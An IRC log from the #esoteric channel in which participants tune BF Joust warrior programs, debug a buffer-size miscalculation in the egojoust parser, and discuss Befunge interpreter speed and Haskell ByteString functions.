05:50:38 <myndzi> Cell Val: 0 1 2 1 3 4 4 4 4 3 3 3 2 2 2 1 1 1 0 0
05:51:16 <quintopia> - + + - + + - + + - + + - + + - + +
05:51:29 <myndzi> that's the third case: the opposite polarity
05:51:32 <quintopia> - ] . [ . + + - - - - - - - - -
05:52:45 <quintopia> 0 1 2 1 2 4 4 4 2 2 2 0 0
05:52:53 <quintopia> zat it?
05:53:01 <myndzi> + - != 2
05:53:03 <myndzi> from 4
05:53:16 <quintopia> 0 1 2 1 2 4 4 4 4 2 2 2 0 0
05:53:16 <myndzi> but i counted wrong, you're right
05:53:39 <myndzi> only need 7 -s
05:53:39 -!- nddrylliog has joined.
05:54:04 <quintopia> good point about not trying to make it match up tho
06:00:45 -!- nddrylliog has quit (Ping timeout: 240 seconds).
06:01:09 <quintopia> wow
06:01:11 <quintopia> i just did it
06:01:30 <quintopia> wireless_frownie not pwns shudder and outscores wireless
06:01:35 <quintopia> well then
06:01:40 <quintopia> no need to have two of them
06:01:53 -!- pikhq_ has joined.
06:01:56 -!- pikhq has quit (Ping timeout: 255 seconds).
06:02:59 <myndzi> seems to me the beest way to beat them all is just to rely on a loop that doesn't synch up and takes advantage of the -+ switch
06:03:03 <myndzi> pretty simple
06:03:03 -!- sebbu has quit (Read error: Connection reset by peer).
06:03:10 <myndzi> it always switches from + to - regardless of polarity
06:03:32 -!- sebbu has joined.
06:04:37 <quintopia> lul
06:04:49 <quintopia> it only beat wireless because it beat wireless
06:05:09 <quintopia> when i remove the original wireless...the new one sucks
06:05:18 <myndzi> pwnd
06:05:33 <quintopia> soooo...back to the one that loses :P
06:07:53 -!- asiekierka has quit (Ping timeout: 246 seconds).
06:30:06 -!- pikhq_ has changed nick to pikhq.
06:45:39 <quintopia> Gregor: is there a max depth that ({})% can be expanded?
07:31:10 -!- Sgeo_ has joined.
07:34:10 -!- Sgeo__ has quit (Ping timeout: 260 seconds).
07:53:10 -!- oerjan has joined.
07:53:58 -!- MigoMipo has joined.
07:56:27 <oerjan> <myndzi> someone doesn't know the difference between dcc and msg? <-- EgoBot uses dcc for responses of more than one line. msg would be inappropriate when the response can be up to 4096 characters (iirc)
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:04:55 <oerjan> hm... (a(b{c{d}e}f)%m g)%n as an abbreviation of (a(b)*m c))*n d (e(f)*m g)*n is actually perfectly effectively executable
08:05:24 <oerjan> if the former matches []'s textually
08:06:52 <oerjan> *efficiently
08:08:24 <quintopia> oh is that how you nest them?
08:08:37 <oerjan> ((a[b)*p)*q((c]d)*q)*p would be a bitch to expand
08:08:42 <quintopia> anyway, it doesn't work in egojoust
08:08:50 <quintopia> ({})% i mean
08:09:03 <quintopia> when the constant is too large it fails to parse
08:09:06 <oerjan> quintopia: i'm not sure anyone has thought of this before
08:09:29 <quintopia> oerjan: are you going to reimplement egojouse to work and work quickly?
08:09:35 <oerjan> quintopia: egojoust expands ({})% textually, as you know
08:09:47 <quintopia> it tries to, yes
08:09:55 <quintopia> but doesn't always succeed
08:10:03 <oerjan> quintopia: i'm not sure if i have the sufficient initiative
08:10:17 <oerjan> but i _do_ have ideas for how it _could_ be done
08:11:03 -!- pikhq has quit (Ping timeout: 240 seconds).
08:11:10 -!- pikhq has joined.
08:11:17 <oerjan> right now i'm pondering how to convert the currently accepted format to something which _does_ have lexically matching [], for which that (({{}})%)% notation would be _very_ useful
08:11:37 <quintopia> hmm
08:11:56 <oerjan> however for that ((a[b)*p)*q((c]d)*q)*p is a problem
08:12:20 <oerjan> (imagine p and q being primes, any expansion has to do that one fully afaict
08:12:21 <oerjan> )
08:12:48 <oerjan> (imagine a b c d don't contain [])
08:13:39 <oerjan> because i am thinking that a conversion preprocessing stage would be a bitch to do in C, but you only needed to do it once for each program and the _result_ would be easy to interpret in C
08:15:07 <fizzie> oerjan: Isn't that particular one just identical to (a[b)*<p*q>(c]d)*<p*q> = (a[b{}c]d)%<p*q> (where <p*q> means substitute-the-product) since you don't have anything else inside the two "top-level" parens?
08:16:11 <oerjan> fizzie: sheesh i _tried_ to put a b c d to avoid such a simple fix
08:16:25 <oerjan> ok you need content somewhere else in that
08:17:02 <oerjan> (a([b)*p)*q c((]d)*q)*p perhaps?
08:18:12 <fizzie> That sounds more problematical, though maybe (c(]d)*q)*p as the latter half for symmetry?
08:18:37 <oerjan> hm maybe
08:21:51 <oerjan> hm maybe even (a([b[)*p)*q(c(]d])*q)*p
08:22:03 <oerjan> or wait no
08:22:54 -!- FireFly has joined.
08:23:13 <fizzie> For the first one, p=3, q=5 → a[b[b[b a[b[b[b a[b[b[b a[b[b[b a[b[b[b c]d]d]d]d]d c]d]d]d]d]d c]d]d]d]d]d → a [b[b [ba [b [b [ba [b[b [ba [b [b [ba [b[b [bc] d]d] d] d] dc] d] d]d] d] dc] d] d] d]d] d which does look quite messy.
08:23:26 -!- hagb4rd has joined.
08:23:35 <oerjan> (a([b[)*p)*<3*q>(c(]d]])*q)*<2*p>, now the expansion won't even preserve textual matching of parentheses
08:23:40 <oerjan> i think
08:24:05 <oerjan> well obviously since there aren't the same number of [ and ] textually
08:24:19 -!- mtve has joined.
08:29:29 <oerjan> quintopia: oh the expansion numbers have a limit of 10000
08:29:50 <oerjan> anything not between 0 and 10000 is turned into 10000
08:30:06 <quintopia> oerjan: in egojoust it breaks if you use anything above like 20
08:30:21 <oerjan> however this check afaict doesn't happen if the loop isn't expanded
08:30:29 <oerjan> quintopia: hm that's weird
08:34:19 <quintopia> oerjan: this is why wireless_frownie's code is so damn ugly at the moment. the compressed version always failed to parse
08:41:12 <oerjan> hm perhaps there is an actual bug there, and not just the size of the resulting expansion
08:45:36 -!- ndd has joined.
08:45:48 -!- ndd has changed nick to nddrylliog.
08:46:23 -!- nddrylliog has quit (Client Quit).
08:46:41 -!- nddrylliog has joined.
08:46:46 -!- nddrylliog has quit (Client Quit).
08:47:11 -!- nddrylliog has joined.
08:50:47 <quintopia> probably
08:52:13 <oerjan> given that you imply it works for values < 20, seems a bit strange
08:52:55 <quintopia> i never figured out exactly what value it first failed for
08:53:12 <quintopia> but i think it still failed sometimes for 19
08:53:34 <quintopia> (depending on whether the loops had to ever be expanded)
08:58:50 <oerjan> hm i'm detecting some dubious testing for the _end_ of the program during the iteration
08:58:57 <oerjan> for (i = 0; i < prog.bufused; i++) {
08:59:13 <oerjan> but while expanding he is _not_ keeping prog.bufused accurate
08:59:18 <oerjan> Gregor: ^
08:59:44 <oerjan> because he is ignoring the length of the actual iteration _number_
09:00:21 <oerjan> prog.bufused = prog.bufused - llen - 2 + temp.bufused;
09:00:23 <quintopia> ohhh i see
09:00:50 <quintopia> so, if it expands so that the brackets fall off the *old* end of the program, it might come up that they look mismatched to the parser
09:00:57 <oerjan> it is _possible_ that he could be parsing uninitialized memory at the end
09:01:16 <oerjan> quintopia: um no
09:01:19 <quintopia> oh
09:01:26 <quintopia> not sure what you're saying then :P
09:01:32 * quintopia hasn't studied the source
09:01:40 <oerjan> i don't think his code actually _copies_ anything into a wrong place
09:02:12 <oerjan> quintopia: he is using realloc. realloc gives no guarantee on the contents of the buffer outside the already used part, iiuc
09:02:46 <oerjan> quintopia: the thing is that after expansion his variable for telling the _length_ of the program might be too large
09:02:56 <oerjan> (prog.bufused)
09:03:40 <quintopia> so what would be better? calloc a whole new bit of memory and copy to it when realloc doesn't give back enough memory?
09:03:46 <fizzie> "#esoteric is not a very noob-friendly channel, and you can expect to receive abuse at the drop of a hat" -- what, are we really that angry?
09:04:21 <oerjan> quintopia: what does realloc not giving back have to do with this?
09:04:32 <oerjan> fizzie: THE ELLIOTT FACTOR
09:05:11 <quintopia> iunno oerjan. i don't understand exactly what the problem here is
09:05:26 <quintopia> fizzie: i was referring to the elliott factor, as oerjan said.
09:05:33 <quintopia> also
09:05:38 <quintopia> what i secretly meant was
09:05:51 <quintopia> "you people are as like as not idiots, so you should probably not talk"
09:06:02 <quintopia> but that would be insulting to the ones who aren't idiots
09:06:15 <oerjan> >_<
09:06:30 <oerjan> quintopia: MAYBE _YOU_ SHOULD PROBABLY NOT TALK
09:06:40 <quintopia> yes
09:06:42 <quintopia> probably not
09:06:48 <quintopia> but i can take abuse
09:06:55 <quintopia> lay it on me bro
09:06:55 * oerjan swats quintopia -----###
09:07:04 <quintopia> oh yeah, that's how i like it
09:07:19 <fizzie> Get a room, you two.
09:07:45 <fizzie> Perhaps a CHATroom. What, I get a "Tr" ligature on this input line?
09:08:03 <quintopia> wat
09:08:14 <quintopia> what fonts ligature Tr?
09:08:41 <fizzie> Maybe it's just a kerning thing now that I look closely enough; the r is under the T though.
09:08:59 <oerjan> quintopia: oh f wait i found a much worse bug in the size calculation
09:09:38 <oerjan> he is _reusing_ llen only inside the % code for a _much_ smaller part only from ( to { ...
09:10:10 <oerjan> the _same_ llen that he is later using to calculate the size of the final program
09:10:20 <quintopia> lol
09:11:04 <oerjan> ok so basically he is overestimating the program size after expansion, _particularly_ much if using ()%
09:11:39 <oerjan> and the more he overestimates, imho, the more likely he might end up interpreting uninitialized memory
09:11:44 <oerjan> Gregor: ^
09:13:42 -!- poiuy_qwert has quit (Ping timeout: 276 seconds).
09:14:07 <quintopia> ohhhh, i see the problem now.
09:14:10 <quintopia> right
09:14:16 <oerjan> @tell Gregor I have been looking a bit at your egojoust parsing code and i think you are miscalculating the new size of the program after expansion, particularly if using ({})% (you are clobbering llen for a different use) but also elsewhere (ignoring the atoi length). might you not end up looking at unitialized memory?
09:14:16 <lambdabot> Consider it noted.
09:14:28 <nddrylliog> fizzie, technically speaking they *are* in a room.
09:14:56 <quintopia> we are in different rooms
09:15:03 <quintopia> from which we access the same channel
09:16:04 <nddrylliog> right, right.
09:16:34 <fizzie> Are you sure oerjan is in a room instead of, say, a cave? (I can easily picture him in a cave.)
09:16:51 -!- poiuy_qwert has joined.
09:16:56 <oerjan> well this _looks_ like a room.
09:17:05 <fizzie> You know, the "bearded recluse of which the local populace tell strange stories of" style of cave.
09:17:45 <oerjan> fizzie: i recall we had one such here in trondheim, not sure if he still lives outside
09:18:43 <quintopia> i'd live in a cave
09:18:46 <oerjan> there's also a recent more national example... hm latest i heard he had managed to attract fleas or something from animals
09:19:08 <oerjan> so he took a break
09:19:12 <quintopia> if i could find a virgin one and lock it up
09:19:25 <quintopia> i'd totes build something just inside the entrance
09:19:26 <oerjan> ...wat
09:19:54 <quintopia> actually
09:20:29 <quintopia> i was thinking that if i got rich one day, i'd add speleothems and slanted floors and stuff in the basement so i could feel like i was in a cave
09:20:38 <oerjan> @tell Gregor I started looking because quintopia tells he cannot get ({})% to use with iteration count more than 20 or so, at least if the contents are slightly complicated iiuc
09:20:38 <lambdabot> Consider it noted.
09:21:11 <quintopia> oh he has to know that eh?
09:21:11 <oerjan> @tell Gregor *to work
09:21:12 <lambdabot> Consider it noted.
09:21:29 <oerjan> quintopia: well if that actually _affects_ things...
09:21:59 <oerjan> and he might be more likely to take a look if the bug actually affects something...
09:22:37 <oerjan> although i'm not sure they're _really_ related, i don't see how the calculation bug would be affect by the actual iteration size used
09:22:52 <oerjan> *affected
09:24:34 <oerjan> oh hm i see, the memmove(prog.buf + i + temp.bufused, prog.buf + end + 1, prog.bufused - end - 1);
09:24:40 <oerjan> might interact with this
09:25:36 <oerjan> in fact it might be that _that_ line breaks things more horrible but only due to a _nested_ expansion when prog.bufused has _already_ been miscalculated
09:25:42 <oerjan> *more horribly
09:26:59 <oerjan> @tell Gregor the interaction of this with memmove(prog.buf + i + temp.bufused, prog.buf + end + 1, prog.bufused - end - 1); after a _nested_ expansion when prog.bufused has _already_ been miscalculated particularly worries me, that _could_ be the case giving quintopia problems...
09:27:00 <lambdabot> Consider it noted.
09:27:01 <quintopia> i was putting ()* inside of ({})% when it happened
09:27:46 <quintopia> gregor is going to get a flood when he next talks and it will be hilarious
09:28:25 <oerjan> quintopia: lambdabot initially only tells him there _is_ a message
09:28:43 <quintopia> mm
09:28:55 <quintopia> so...same as memoserv
09:29:04 <oerjan> yes. the ({})% is expanded first, giving a particularly wrong calculation of prog.bufused (basically, approximately by the length between { and ) )
09:29:07 <quintopia> oh i know
09:29:24 <quintopia> it was cpressey's bot that just said it without any prelude
09:30:17 <oerjan> if this is large enough then when the program is rearranged uninitialized memory will end up _inside_ the program
09:30:40 <quintopia> sounds like you nailed it
09:35:28 <oerjan> hm wait no i don't think that memmove actually can do that
09:36:37 <oerjan> the prog.bufused is only used to tell how _much_ to copy, and it will only end up beyond the program anyway
09:39:09 <quintopia> @tell Deewiant maglev currently draws with shudder. it's easy to make it beat it. just change the the *21 to *20>(.+)*10000. this shouldn't hurt its performance elsewhere much at all.
09:39:10 <lambdabot> Consider it noted.
09:41:11 <Deewiant> !bfjoust maglev (>)*8<+<-<(+)*10<(-)*10<(-)*30<<(+)*42(>)*7(>[(+)*9[-]])*20>(.+)*10000
09:41:11 <lambdabot> Deewiant: You have 1 new message. '/msg lambdabot @messages' to read it.
09:41:18 <oerjan> oh wait the atoi thing is _not_ a problem because he doesn't actually _remove_ the number from the program. or wait...
09:41:43 <EgoBot> Score for Deewiant_maglev: 47.4
09:41:59 <quintopia> improvement!
09:42:16 <Deewiant> Loses to egodeath instead of drawing with it now, but still a net improvement, yes
09:42:20 <Deewiant> Cheers
09:42:30 <quintopia> it still kicks wireless's ass
09:42:43 <Deewiant> More score, less points :-P
09:43:35 <quintopia> you could also try the anti-shudder trick myndzi and i worked out earlier. it might work for you even better.
09:43:42 <quintopia> or it may not be worth the effort :P
09:44:32 <Deewiant> I'll stick with that for now
09:51:48 <quintopia> i don't understand decoybooster2 at all at all
09:52:18 <quintopia> why would he set that decoy to size 85, then decrease it to 42? wouldn't it make more sense to increase it to 128?
09:52:31 <quintopia> looks like a mistake to me
09:52:39 <Deewiant> Probably
09:55:02 <oerjan> @tell Gregor actually won't the memmove(prog.buf + i + temp.bufused, prog.buf + end + 1, prog.bufused - end - 1); end up copying the ) as well... _that_ would surely be a problem when nesting...
09:55:02 <lambdabot> Consider it noted.
09:56:07 <oerjan> @tell Gregor Scratch that last, i cannot read. also the atoi length is of course not a problem. the reuse of llen inside the % branch still is, i believe.
09:56:07 <lambdabot> Consider it noted.
09:58:31 <oerjan> quintopia: i think i was wrong about there being something subtly wrong with the ()* case as well, i realize it doesn't _matter_ if the *n (or %n for that matter) is left in the program after expansion
09:59:42 <oerjan> @list tell
09:59:43 <lambdabot> tell provides: tell ask messages messages? clear-messages
09:59:52 <oerjan> @help clear-messages
09:59:52 <lambdabot> clear-messages. Clears your messages.
10:00:17 <oerjan> @clear-messages
10:00:18 <lambdabot> Messages cleared.
10:00:41 <oerjan> it doesn't say whether it's messages sent or received though...
10:02:56 <oerjan> @tell gregor Summary (I don't know whether the previous messages were cleared or not): i think the reuse of llen in the % branch of egojoust.c's parseFile function is a problem that causes the prog.bufused to be calculated wrong when using ({})%, conceivable leading to reading of unitialized memory
10:02:56 <lambdabot> Consider it noted.
10:10:41 <oerjan> seems @clear-messages clears messages _to_ you, not from you :D
10:28:45 -!- cheater- has quit (Ping timeout: 240 seconds).
10:29:55 -!- cheater- has joined.
10:30:15 <oerjan> xkcd is synchronistic with bfjoust today
10:31:32 <Deewiant> )
10:33:07 <fizzie> Now I have spurious )s after seeing those on multiple channels.
10:36:33 -!- ineiros has quit (Ping timeout: 246 seconds).
10:36:50 -!- ineiros has joined.
10:40:58 -!- cheater- has quit (Ping timeout: 240 seconds).
10:42:08 -!- cheater- has joined.
10:46:30 -!- nescience has quit (Quit: -a-).
10:46:50 -!- nescience has joined.
11:18:25 -!- BeholdMyGlory has joined.
11:48:13 -!- nddrylliog has quit (Quit: Leaving).
11:50:43 -!- sebbu has quit (Ping timeout: 250 seconds).
11:50:56 -!- poiuy_qwert has quit (Ping timeout: 240 seconds).
11:52:01 -!- poiuy_qwert has joined.
12:13:22 -!- Tritonio has joined.
12:16:51 -!- Tritonio has quit (Client Quit).
12:35:39 -!- Phantom_Hoover has joined.
12:58:30 -!- Tritonio has joined.
13:00:27 -!- Tritonio has quit (Client Quit).
13:00:32 -!- elliott has joined.
13:01:08 -!- pikhq has quit (Ping timeout: 255 seconds).
13:01:13 -!- pikhq_ has joined.
13:01:19 -!- elliott_ has joined.
13:01:20 -!- elliott_ has quit (Client Quit).
13:01:22 <elliott> 02:00:32 <myndzi> huh?
13:01:22 <elliott> 02:00:48 <myndzi> someone doesn't know the difference between dcc and msg?
13:01:31 <elliott> myndzi: oh i thought you meant egobot
13:01:35 <elliott> which sends errors via dcc chat
13:01:55 <elliott> 02:49:59 <quintopia> well just now, i was just trying to figure out a way to beat shudder consistently, cuz the old version just basically beat it on length 30
13:01:55 <elliott> 02:50:08 <quintopia> still haven't quite got it
13:01:58 <elliott> quintopia: submit in channel dammit
13:03:00 -!- Behold has joined.
13:06:30 -!- BeholdMyGlory has quit (Ping timeout: 260 seconds).
13:07:49 <elliott> $ time ~/Code/shiro/shiro mycology.b98 >/dev/null 2>&1
13:07:49 <elliott> real0m4.261s
13:07:51 <elliott> Not bad.
13:11:33 <elliott> that's before porting forwards my optimised mergeByteString
13:12:32 <elliott> shiro: <<loop>>
13:12:32 <elliott> Woot
13:17:15 <elliott> $ time ~/Code/shiro/shiro mycology.b98 >/dev/null 2>&1
13:17:15 <elliott> real0m0.971s
13:17:24 <elliott> Only 900x speed improvement before I equal or beat cfunge
13:17:47 <oerjan> small piece of cake, clearly
13:18:07 <elliott> Actually CCBI only does Mycology in 0.94 to 0.73 seconds here.
13:18:14 <elliott> So it's more like 10x-20x-30x improvement.
13:18:23 <elliott> Which is totally feasible.
13:18:34 <elliott> I'm using a dumb hashmap and haven't even started unpacking and strictifying things.
13:19:29 <oerjan> that ClearBF page got updated
13:19:32 <elliott> Of course it's a bit unfair, since CCBI implements a lot more fingerprints than I do.
13:19:52 <Gregor> !bfjoust very_stupid_turtle -(>+>-)*4>([(+.)*255.+>]+>[(+.)*255.->]->)*11
13:19:52 <lambdabot> Gregor: You have 7 new messages. '/msg lambdabot @messages' to read them.
13:20:02 <elliott> CCBI gets 0.028, 0.027, 0.41s with fingerprints disabled here.
13:20:03 <Gregor> lambdabot: Yeah, fuck oerjan, that guy's a loser.
13:20:09 <oerjan> it's still a bit weird, but no longer a candidate for deletion, i should think.
13:20:11 <elliott> wut
13:20:17 <elliott> Why would anyone message Gregor with _lambdabot_
13:20:34 <oerjan> elliott: he wasn't here and i couldn't remember if he read logs.
13:20:41 <elliott> ah :D
13:20:42 <elliott> oerjan: " ● Ability to make comments using "%" to start a comment. The comment ends at the end of the line.
13:20:42 <elliott> ● All new identifiers (variables) will be awarded automatically initialized to zero."
13:20:53 <oerjan> also i got a bit carried away with the blathering.
13:20:57 <elliott> oerjan: wow, I got "basic commands" almost exactly right with my direct cipher of brainfuck
13:21:18 <elliott> 09:35:55 <oerjan> @tell Gregor I have been looking a bit at your egojoust parsing code and i think you are miscalculating the new size of the program after expansion, particularly if using ({})% (you are clobbering llen for a different use) but also elsewhere (ignoring the atoi length). might you not end up looking at unitialized memory?
13:21:26 <elliott> Gregor: btw ()*-1 lets you write *10000 easily
13:21:28 <elliott> or with one more 0 whatever
13:21:48 <elliott> Gregor: If I write lance will you rejig the scoreboard system to use it? :-P
13:21:59 <elliott> It'll do ()* and ()% efficiently and all.
13:22:20 <oerjan> elliott: yeah i noticed ais523 has one program on the hill that actually has *-something and it then means *10000
13:22:30 <elliott> it's *-160 for some strange reason
13:22:39 <elliott> oerjan: and IIRC they're [s
13:22:43 <Gregor> elliott: If you write it to exit with the same status as egojoust, there's virtually nil rejigging to do.
13:22:52 <elliott> so it's [[[...10000 [s... blah ...10000 ]s...]]]
13:23:03 <elliott> Gregor: What's egojoust's exit status :P
13:23:11 <Gregor> elliott: Number of points.
13:23:22 <Gregor> elliott: Negative for left.
13:23:23 <elliott> !bfjoust
13:23:26 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
13:23:33 <elliott> Forgot how points are calculated.
13:23:56 <elliott> Gregor: Yay, lance will result in IMMENSE POINT DEFLATION by not running redundant polarities :P
13:24:00 <elliott> Oh wait, it's divided.
13:24:00 <elliott> DARN
13:24:03 <elliott> No point deflation.
13:24:12 <Gregor> I should be more clear :P
13:24:20 <Gregor> elliott: EgoJoust returns right wins - right losses.
13:24:29 <elliott> Gregor: Ah.
13:24:40 <EgoBot> Score for Gregor_very_stupid_turtle: 16.7
13:24:44 <elliott> Gregor: 'Sok, I can make it do that, and the fact that it returns lower than egojoust all the time is your code's problem :P
13:25:47 <Gregor> I won't put it in EgoBot unless you multiply by two.
13:25:59 <Gregor> And it also prints the breakdown to stdout.
13:26:19 <elliott> Gregor: (1) Dude, s/egojoust/lance/ is as much work as s//*2/
13:26:24 <elliott> (2) I can do that, sure.
13:28:00 <elliott> Returning an array of label pointers: BEST IDEA???
13:28:01 <oerjan> elliott: note that some people turned out to be sorta attached to the ([)*n notation
13:28:17 <elliott> oerjan: s/some people/impomatic/, and he uses it unmatched, which is just perverse
13:28:26 <elliott> everyone else is just doing it because it's faster on the current hill afaik
13:28:39 <oerjan> yeah only impomatic did it completely unmatched
13:28:43 <elliott> anyway lance will end up running things like 50x faster than egojoust this way, so I'm going to reject such programs outright. well maybe ([)*nfoo(])*n I can do.
13:28:51 <elliott> but i'd rather people just use %.
13:29:01 <elliott> maybe i'll write a preconverter and plug it into lance to handle the 90% case.
13:29:46 <oerjan> elliott: btw what about my (({{}})%)% variation idea?
13:29:58 <elliott> oerjan: what was that again?
13:30:01 <oerjan> it's quite easy to do efficiently too
13:31:24 <oerjan> basically you can abbreviate (([)*m{...}(])*m)%n as (([{...}])%m)%n
13:31:31 <elliott> heh
13:31:42 <elliott> well right now i'm implementing without any () stuff, just to get the basics down
13:32:18 <elliott> Gregor: typedef enum {
13:32:18 <elliott> SIEVE, /* no change */
13:32:18 <elliott> KETTLE, /* for right warrior, DINK and DONK are swapped */
13:32:18 <elliott> } polarity;
13:32:24 <elliott> This is what real engineers do, Gregor.
13:32:27 <elliott> Use correct terminology.
13:32:48 <oerjan> elliott: basically ( pushes starting count on the stack, { iterates back to matching ( or pops, } pushes like (, and ) iterates or pops
13:33:26 <oerjan> and provided [] matches inside () and inside {} like the rule is supposedly already, it should all work
13:34:15 <elliott> !bfjoust
13:34:18 <oerjan> hm i guess } and ) need to count the reverse way of ( and {
13:34:23 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
13:34:39 <elliott> oerjan: well myndzi is the one who came up with supar-efficient ways to do ()*n (well that's trivial) and ()%n (harder)
13:34:43 <elliott> the latter i'll have to ask him about
13:34:53 <elliott> or was it ais who came up with that.
13:34:58 <oerjan> elliott: mine is just a generalization of a ()%n method
13:35:01 <elliott> right
13:35:25 <elliott> Gregor: Are you serious about that "won't put it in EgoBot unless you pointlessly multiply by two" thing?
13:35:25 <oerjan> i just realized you didn't have to put {} immediately inside () always, you can have intervening ()'s
13:35:48 <oerjan> with a stack regime for matching
13:36:25 <elliott> oerjan: heh
13:37:09 <oerjan> elliott: and the notation looks like it could be useful, too
13:37:23 <elliott> oerjan: i'll implement that as soon as it can run ()-less programs then
13:42:32 <elliott> oerjan: hm what's the maximum number of loops a warrior can get into, ... oh wait, it's 100000
13:42:44 <oerjan> in egojoust, yes
13:42:51 <elliott> oerjan: well i'm not changing that for lance
13:43:24 <elliott> 781 kilobytes on the stack, nice :D
13:43:43 <oerjan> hm
13:44:10 <Phantom_Hoover> elliott, looks like the TV Tropes people are eviscerating the Troper Tales and Fetish Fuel namespaces.
13:44:16 <oerjan> * (([{{...}}])%m)%n
13:44:43 <elliott> Phantom_Hoover: So first they move everything to Troper Tales, and then they demolish it?
13:45:05 <Phantom_Hoover> There's talk about moving it to another site.
13:45:39 <elliott> ...
13:45:48 <Phantom_Hoover> I don't get it either.
13:45:52 <elliott> oerjan: it irks me that I can't optimise loops in BF Joust sanely :(
13:46:01 <elliott> because the normal way basically turns it into a while loop that recurses the interpreter
13:46:06 <elliott> which obviously fucks up cycles
13:46:08 <elliott> I guess it's no big deal
13:46:12 <elliott> but [ scanning for the matching ] is shitty
13:47:13 <oerjan> elliott: um Gregor's method of caching matching [] positions is quite adequate, you can just do it in a preprocessing pass if you want
13:47:28 <elliott> oerjan: i haven't read the egojoust code
13:47:31 <elliott> i could do it
13:47:35 <elliott> it just irks me that i can't do it the normal way
13:48:04 <oerjan> elliott: caching [] _is_ equivalent to the normal way of compiling into something with jumps
13:48:19 <elliott> well right
13:48:21 <Vorpal> <elliott> it just irks me that i can't do it the normal way <-- "the normal way"?
13:48:35 <elliott> Vorpal: give loop instructions a ->body, just do "while (tape[ptr]) interpret(ins->body)"
13:49:01 <Vorpal> also, the weather is horrible over here.
13:49:18 <Vorpal> elliott, are you implementing brainfuck?
13:49:32 <Vorpal> or more accurately bfjoust I guess
13:49:36 <elliott> yes, i'm writing lance
13:49:38 <oerjan> elliott: the jump method is better for implementing () efficiently, i think. it leaves you free from needing handling [] on the stack as well
13:49:51 <oerjan> *to handle
13:50:15 <Vorpal> elliott, congrats on the befunge project being alive until now. That is a record in continuous time spent on a given project I think!
13:50:53 <elliott> Vorpal: um i'm just taking a break after getting mycology all passing apart from text IO, including all the FILE tests, having instant bounds shrinking, and getting Mycology running fully in less than a second
13:50:59 <elliott> I think I've earned the right to write a little C program :D
13:51:12 <Vorpal> elliott, text IO isn't that hard really.
13:51:23 <elliott> i know, but it's also boring, so i've skipped it for now
13:51:30 <elliott> i can read in text and binary mode, just not write in text mode
13:51:38 <Vorpal> elliott, especially with a high level languages you could quite easily do a possibly-slow variant
13:52:09 <elliott> well sure i could in haskell too, it'd just feel wrong.
13:52:14 <Deewiant> map (reverse . dropWhile (==' ') . reverse) . lines
13:52:18 <elliott> Deewiant: bytestrings
13:52:22 <elliott> map is slow i think
13:52:28 <Vorpal> ah right
13:52:30 <elliott> oh that's map over a list
13:52:31 <elliott> but yeah whatever
13:52:33 <Deewiant> elliott: BS.pack . unlines . map (reverse . dropWhile (==' ') . reverse) . lines . BS.unpack
13:52:39 <Vorpal> Deewiant, XD
13:53:11 <Vorpal> Deewiant, that won't work though. Consider literal \n bytes in the funge space being written out
13:53:17 <oerjan> Deewiant: "you better pray that fuses"
13:53:35 <Vorpal> Deewiant, or wait, what should you do in that case even?
13:54:03 <Deewiant> Vorpal: You should do exactly that, and I think Mycology tests that.
13:54:12 <elliott> Deewiant: Pack is slow :-P
13:54:16 <elliott> Deewiant: But, uhh, B8.lines exists.
13:54:19 <elliott> Except it's \n-only.
13:54:24 <elliott> Well.
13:54:28 <Vorpal> Deewiant, guess I does then
13:54:31 <elliott> I _write_ with \ns in rectangleToByteString.
13:54:34 <elliott> <Deewiant> Vorpal: You should do exactly that, and I think Mycology tests that.
13:54:37 <elliott> it says UNDEF
13:54:39 <Vorpal> right
13:54:41 <elliott> but yeaah
13:54:43 <elliott> <oerjan> Deewiant: "you better pray that fuses"
13:54:47 <elliott> oerjan: i have the utmost faith in GHC!
13:54:50 <elliott> it's like religion
13:55:00 <oerjan> GREAT
13:55:27 <elliott> Vorpal: So have you implemented the O(1) wrapping yet :P
13:55:52 <Vorpal> elliott, no. I just got home today. As I told you before. Likely not until the weekend
13:56:03 <Vorpal> so tomorrow or so
13:56:03 <elliott> "EXCUSES"
13:56:10 <Deewiant> Right, it's UNDEF, but I think it's preferable. :-P
13:56:10 <Vorpal> still got university stuff to do
13:56:32 <elliott> Deewiant: Rite, because then binary reading works with text output.
13:56:37 <elliott> @hoogle (a -> Bool) -> [a] -> [a]
13:56:37 <lambdabot> Prelude dropWhile :: (a -> Bool) -> [a] -> [a]
13:56:38 <lambdabot> Prelude filter :: (a -> Bool) -> [a] -> [a]
13:56:38 <lambdabot> Prelude takeWhile :: (a -> Bool) -> [a] -> [a]
13:56:41 <elliott> Aww, no initsWhile :-P
13:56:51 <elliott> textify = B8.unlines . map (reverse . dropWhile (== ' ') . reverse) . B8.lines
13:56:55 <elliott> I think that has a good chance of fusing.
13:57:08 <oerjan> what's initsWhile
13:57:12 <Vorpal> recent snowfall of rather dry snow + hard wind orthogonal to direction of road = horrible
13:57:18 <Deewiant> elliott: Of course reverse won't work there since they're bytestrings
13:57:54 <Deewiant> elliott: You want map (fst . BS.spanEnd (==' '))
13:57:56 <elliott> Deewiant: *B.reverse
13:58:00 <elliott> Oh, there's a function for that?
13:58:03 <elliott> Yay.
13:58:16 <elliott> Deewiant: P.S. you mean == space
13:58:19 <elliott> ' ' is a Char :P
13:58:23 <elliott> (We need OverloadedChars.)
13:58:26 <Deewiant> Well I don't know your data types
13:58:33 <elliott> Deewiant: space is just 32
13:58:39 <elliott> Obviously a bytestring contains word8s, not chars
13:58:47 <elliott> So yours doesn't work anywhere
13:58:51 <elliott> oerjan: initsWhile f === reverse . dropWhile f . reverse
13:58:56 <elliott> > init [1,2,3]
13:58:57 <lambdabot> [1,2]
13:59:01 <elliott> I guess it should be initWhile
13:59:13 <Vorpal> elliott, do you ever get such conditions in UK btw? Snow blowing over road. So much that you can only see about half a meter in front of the car.
13:59:13 <fizzie> The ' ' would work for a Data.ByteString.Char8 bytestring.
13:59:21 <Deewiant> elliott: Mine works on the abominable Char8 ByteStrings... which are the only ones that provide lines/unlines
13:59:22 <elliott> Vorpal: No.
13:59:27 <Vorpal> elliott, I envy you
13:59:34 <elliott> Deewiant: The Char8 type is the same as the regular type.
13:59:43 <elliott> Deewiant: So you can happily use Char8 (B8) functions on regular ByteStrings when you need to.
13:59:43 <Deewiant> elliott: No it's not, it's Char vs Word8
13:59:48 <elliott> Deewiant: Yes it is.
